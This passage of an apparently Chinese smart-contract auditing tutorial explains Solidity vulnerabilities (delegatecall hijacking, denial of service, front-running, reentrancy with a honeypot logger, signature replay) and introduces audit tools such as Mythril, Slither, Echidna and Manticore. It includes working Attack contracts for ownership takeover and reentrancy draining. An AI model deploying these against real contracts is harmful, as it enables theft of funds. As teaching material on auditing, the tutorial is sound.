        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

数据私有属性的误解

标注为 private 区域的数据并不是不能访问，它们存储在一个又一个的 slot 里，如果读者不熟悉的话，可以阅读博客中关于 EVM 的存储空间的解释。

delegatecall

代理调用时会用调用者的上下文替代被调用者的上下文，例如下面 HackMe 中的回退函代理调用 lib 的 pwn 函数时，在 lib 中的变量 owner 将会是 HackMe 中的 owner，因此 pwn() 中修改的实际上的 HackMe 的 owner，msg 对象是 HackMe 中的 msg 对象，也就是调用 HackMe 的人。

例如：

Attack.attack 调用 HackMe ，然后找不到 pwn() 这个函数签名，因此跳转到回退函数，然后回退函数调用 Lib，匹配到了函数签名，但是由于上下文切换，造成了 HackMe 的全局变量被意外修改。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

拒绝服务攻击

依赖某些特定条件才能执行的逻辑，如果有人恶意破坏并且没有检查是否满足条件，就会造成服务中断。

例如下面的例子：依赖接收者可以接收以太币，但是如果接收以太币的合约无 receive 函数或者 fallback 函数，就会让逻辑无法进行下去。

多人竞拍，如果有出价更高的则退回上个一竞拍者的以太币，并且更新胜出者 king 和当前标价 balance，Attack 合约参与竞拍，但是无法退回以太币给它，导致 DOS。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

交易顺序依赖

某些合约依赖收到交易地顺序，例如某些竞猜或者首发，“第一个” 之类的要求，那么就容易出现抢跑 (front run) 的情况。再例如，利用不同代币汇率差别，观察交易池，抢先在汇率变化之前完成交易。

下面是通过哈希值竞猜，观察交易池，以更高的 gasprice 抢跑。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract FindThisHash {
    bytes32 public constant hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    constructor() payable {}

    function solve(string memory solution) public {
        require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

        (bool sent, ) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
}

使用未初始化的内存

根据 Solidity 的编译器，如果需要临时存储的操作需要大于 64 字节的空间，那么不会放入 0x00-0x3f 的暂存空间，又考虑到临时存储的生命周期很短，因此直接在当前内存指针的下一个位置写入，但是内存指针不变，0x40-0x5f 记录的内存大小也不变，然后继续写入内存时直接覆盖。因此，在直接操作未使用的内存时，这块内存可能不是初始值。

如果在函数中声明 memory 变量，它可能不是初始值。

权限设置不当

取币、自毁操作需要设置严格的权限。建议非必要，不要设置 selfdestruct 函数。

合约实例偷换地址

例如，下面的 Bank 合约具有重入漏洞，似乎也只是多了一个 Logger 合约作为日志记录者。但是实际上，部署 Bank 的人可以在部署 Bank 时不填 Logger 的地址，而是直接填入 HoneyPot 的地址。在合约实例的名字的误导下，如果不去检查合约实例的地址上是否真的为预期内的代码，那么很容易上当。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Bank {
    mapping(address => uint) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint _amount) public {
        require(_amount &lt;= balances[msg.sender], "Insufficient funds");

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint amount, string action);

    function log(
        address _caller,
        uint _amount,
        string memory _action
    ) public {
        emit Log(_caller, _amount, _action);
    }
}

// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
    function log(
        address _caller,
        uint _amount,
        string memory _action
    ) public {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // Function to compare strings using keccak256
    function equal(string memory _a, string memory _b) public pure returns (bool) {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

未检查底层调用结果

call 这类底层调用的方式失败并不会发生回滚。因此，攻击者可以精心设计 gas，让底层调用回滚，而其他语句继续运行。

签名重放

一般而言，签名会和特定的交易或者消息绑定，但是为了业务逻辑自己设计的多重签名，可能会疏忽造成签名重复使用。例如下面的 transfer 函数，通过库合约恢复发送者地址，但是如果签名是可重用的，那么就会造成意外的取款行为。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(
        address _to,
        uint _amount,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount);
        require(_checkSigs(_sigs, txHash), "invalid sig");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(address _to, uint _amount) public view returns (bytes32) {
        return keccak256(abi.encodePacked(_to, _amount));
    }

    function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint i = 0; i &lt; _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

开源审计工具

建议在 linux 或者 MacOS 下运行。

mythril

Mythril 是 EVM 字节码的安全分析工具。它检测以太坊、Hedera、Quorum、Vechain、Roostock、Tron 和其他与 EVM 兼容的区块链构建的智能合约中的安全漏洞。它使用静态分析的方法，如符号执行、SMT 解决和污点分析来检测各种安全漏洞。另外，他还有收费版本的 MythX。

使用示例

安装编译器

pip3 install solc-select
solc-select install 0.8.7
solc-select use 0.8.7

安装 mythril

pip3 install mythril

开始

myth analyze &lt;solidity-file>

myth analyze -a &lt;contract-address>

当我们学习静态分析后，将会再次详细介绍 mythril 的原理。

echidna

Echidna 用 Haskell 语言写的，用于对以太坊智能合约进行模糊测试或者基于属性的测试。它使用基于 ABI 和语法的模糊测试，通过断言判断结果是否与预期相同。

特点：

自动生成适合的输入
可选的语料库、变异库和覆盖率指南，以发现更深层次的错误
在模糊测试之前由Slither 提取有用信息
能够指出模糊测试覆盖哪些行
自动测试用例最小化以进行快速分类
支持使用Etheno和 Truffle进行复杂的合约初始化

使用示例

首先需要指定断言函数，它的返回值应该永远为不变量。然后 echida 会生成一系列的测试用例，检查断言函数的返回值是否为真。

断言函数的写法：

必须使用前缀echidna_
参数为空
返回预期永远为 true 或者 false 的布尔值

function echidna_check_balance() public returns (bool) {
    return(balance >= 20);
}

编写好之后直接使用

echidna-test myContract.sol --corpus-dir .；

它会在当前文件夹下保留测试用例和程序的终止执行的地方，更加详细的见工具的 repo。

测试范例：

运行时需要使用合适版本的 solc

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Test {
    event Flag(bool);

    bool private flag0 = true;
    bool private flag1 = true;

    function set0(int256 val) public returns (bool) {
        if (val % 100 == 0) flag0 = false;
    }

    function set1(int256 val) public returns (bool) {
        if (val % 10 == 0 && !flag0) flag1 = false;
    }

    function echidna_alwaystrue() public pure returns (bool) {
        return (true);
    }

    function echidna_revert_always() public pure returns (bool) {
        revert();
    }

    function echidna_sometimesfalse() public returns (bool) {
        emit Flag(flag0);
        emit Flag(flag1);
        return (flag1);
    }
}

Slither

Slither 是一个用 Python 3 编写的 Solidity 静态分析框架。它运行一套漏洞检测器，打印有关合约细节的可视信息，并提供一个 API 来轻松编写自定义分析。Slither 使开发人员能够发现漏洞，增强他们的代码理解能力，并能够快速自定义分析。

使用示例

在 Truffle/Embark/Dapp/Etherlime/Hardhat 应用程序上运行 Slither：

slither .

在单个文件上运行 Slither：

slither tests/uninitialized.sol

建议安装 solc-select，他会自动下载、切换编译器版本，然后可以直接从主网拉取合约

slither 0x7F37f78cBD74481E593F9C737776F7113d76B315

这个工具比 mythril 强大许多，运行效率也高非常多，很快就能出结果，结果也高亮显示，很舒服。

检测器

slither 集成了许多的检测器，不同的检测器各自可以检测不同类型的漏洞，默认执行所有检测器，当然也可以指定只是用那几个检测器。

打印器

slither 除了能检测合约的漏洞，还提供了许多其他有用的功能。可以直观分析

合约的控制流
调用关系图
函数将会执行的操作码
继承关系图
等等

这些工具对合约审计人员非常有帮助

例如分析调用关系

slither 0xC5d105E63711398aF9bbff092d4B6769c82f793d --print call-graph

生成了点图，需要安装查看点图软件

sudo apt install graphviz
sudo apt install gir1.2-gtk-3.0 python3-gi python3-gi-cairo python3-numpy graphviz
pip3 install xdot

然后可以用 xdot 查看流程图，也可以转换成图片

dot 0xC5d105E63711398aF9bbff092d4B6769c82f793d.all_contracts.call-graph.dot -Tpng -o call_graph.pn

为了查看函数的操作码，需要安装控制流依赖

pip3 install evm-cfg-builder

可以打印出来，这对合约的性能调优很有帮助。

slither 0xC5d105E63711398aF9bbff092d4B6769c82f793d --print evm

工具

slither 还附带了一些工具，用于检查可升级合约代理、合约单约测试属性、代码扁平化（避免无意义的嵌套）、ERC 代币是否规范。

slither-check-upgradeability:Review delegatecall-based upgradeability
slither-prop:Automatic unit test and property generation
slither-flat:Flatten a codebase
slither-check-erc:Check the ERC's conformance
slither-format:Automatic patch generation

manticore

manticore 是基于符号执行方法的合约分析工具，它实际上也是通过断言，来判断是否满足某种属性。

特点：

给定输入，搜索可能的状态。
自动生成输入信息。
检测执行失败或者崩溃的地方。
通过事件或者指令钩子，更精确的控制搜索路径。

安装：

pip install "manticore[native]"

分析合约：

manticore mcore.sol

代码如下

// Smart contract based on a classic symbolic execution example from slides
// by Michael Hicks, University of Maryland.
// https://www.cs.umd.edu/~mwh/se-tutorial/symbolic-exec.pdf
contract SymExExample {
    function test_me(int a, int b, int c) public pure {
        int x = 0;
        int y = 0;
        int z = 0;

        if (a != 0) {
            x = -2;
        }

        if (b &lt; 5) {
            if (a == 0 && c != 0) {
                y = 1;
            }
            z = 2;
        }

        // will fail when: a == 0 && b &lt; 5 && c != 0
        assert(x + y + z != 3);
    }
}

如果运行 manticore 报错，请复制最后一行的提示信息，在谷歌搜索。大概率是依赖包版本问题。

注意：由于遍历或者搜索的效率其实比较慢，可能需要运行很久。

运行后将会生成很多辅助分析的材料，如何分析请见该项目文档。除此之外，也可以高度自定义，编写 python 代码，初始化合约状态，然后再检查不变量。

检测漏洞：

类似于断言的方法，判断合约是否满足某个属性，详细操作间见文档。

安全实践

了解常见的安全漏洞

以上列出了一些合约漏洞，对此需要有一定的了解。

请熟悉 EIP-1470 提出的漏洞分类

学会使用安全工具

首先，有一个很棒的社区的总结《以太坊智能合约 —— 最佳安全开发指南》，强烈建议仔细阅读，虽然有部分内容可能过时了，但是仍然很有参考意义

其次，对合约进行单元测试，truffle 使用Mocha测试框架和Chai进行断言，也要测试前端 DApp 将如何调用合约。

从 Truffle v5.1.0开始，您可以中断测试以调试测试流程并启动调试器，允许您设置断点、检查 Solidity 变量等。

然后，使用合约审计工具，如Mythril 和Slither 等，可以使用 solidity-coverage 检查测试的覆盖性。

使用开源的合约库

开源合约库经过严格的安全审查，很多项目依赖他们，一般而言比较可靠。

openzeppelin/contracts 提供了常见的合约库，实现了一些标准库，如 ERC20、ERC721，仓库中可阅读源码。

dappsys 是一个新兴的合约库，用法参见文档文档

深入字节码分析

这一部分将会在以太坊设计原理中深入探讨。欢迎关注仓库，共同编辑。 https://github.com/learnerLj/geth-analyze

合约优化

在保证合约安全的前提下，优化合约往往是指优化 gas。合约消耗的 gas 主要由两部分组成，每次执行和部署时的消耗。

参考：

Solidity Security: Comprehensive list of known attack vectors and common anti-patterns

Smart Contract Weakness Classification Registry

《智能合约安全分析和审计指南》王艺卓等

EIP-1470 提出的Smart Contract Weakness Classification Registry

8 Ways of Reducing the Gas Consumption of your Smart Contracts

smart-contract-development-best-practices

https://immunefi.com/learn/

The Encyclopedia of Smart Contract Attacks and Vulnerabilities

学分: 60
分类: Solidity
标签:

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智能合约审计

智能合约审计

常见漏洞

整数溢出

重入攻击

payable 函数导致合约余额更新

tx.origin

短地址攻击

挖矿属性依赖

合约余额依赖

数据私有属性的误解

delegatecall

拒绝服务攻击

交易顺序依赖

使用未初始化的内存

权限设置不当

合约实例偷换地址

未检查底层调用结果

签名重放

开源审计工具

mythril

使用示例

echidna

使用示例

Slither

使用示例

检测器

打印器

工具

manticore

scribble

Legions

vscode-solidity-auditor

安全实践

了解常见的安全漏洞

学会使用安全工具

使用开源的合约库

深入字节码分析

合约优化

参考：

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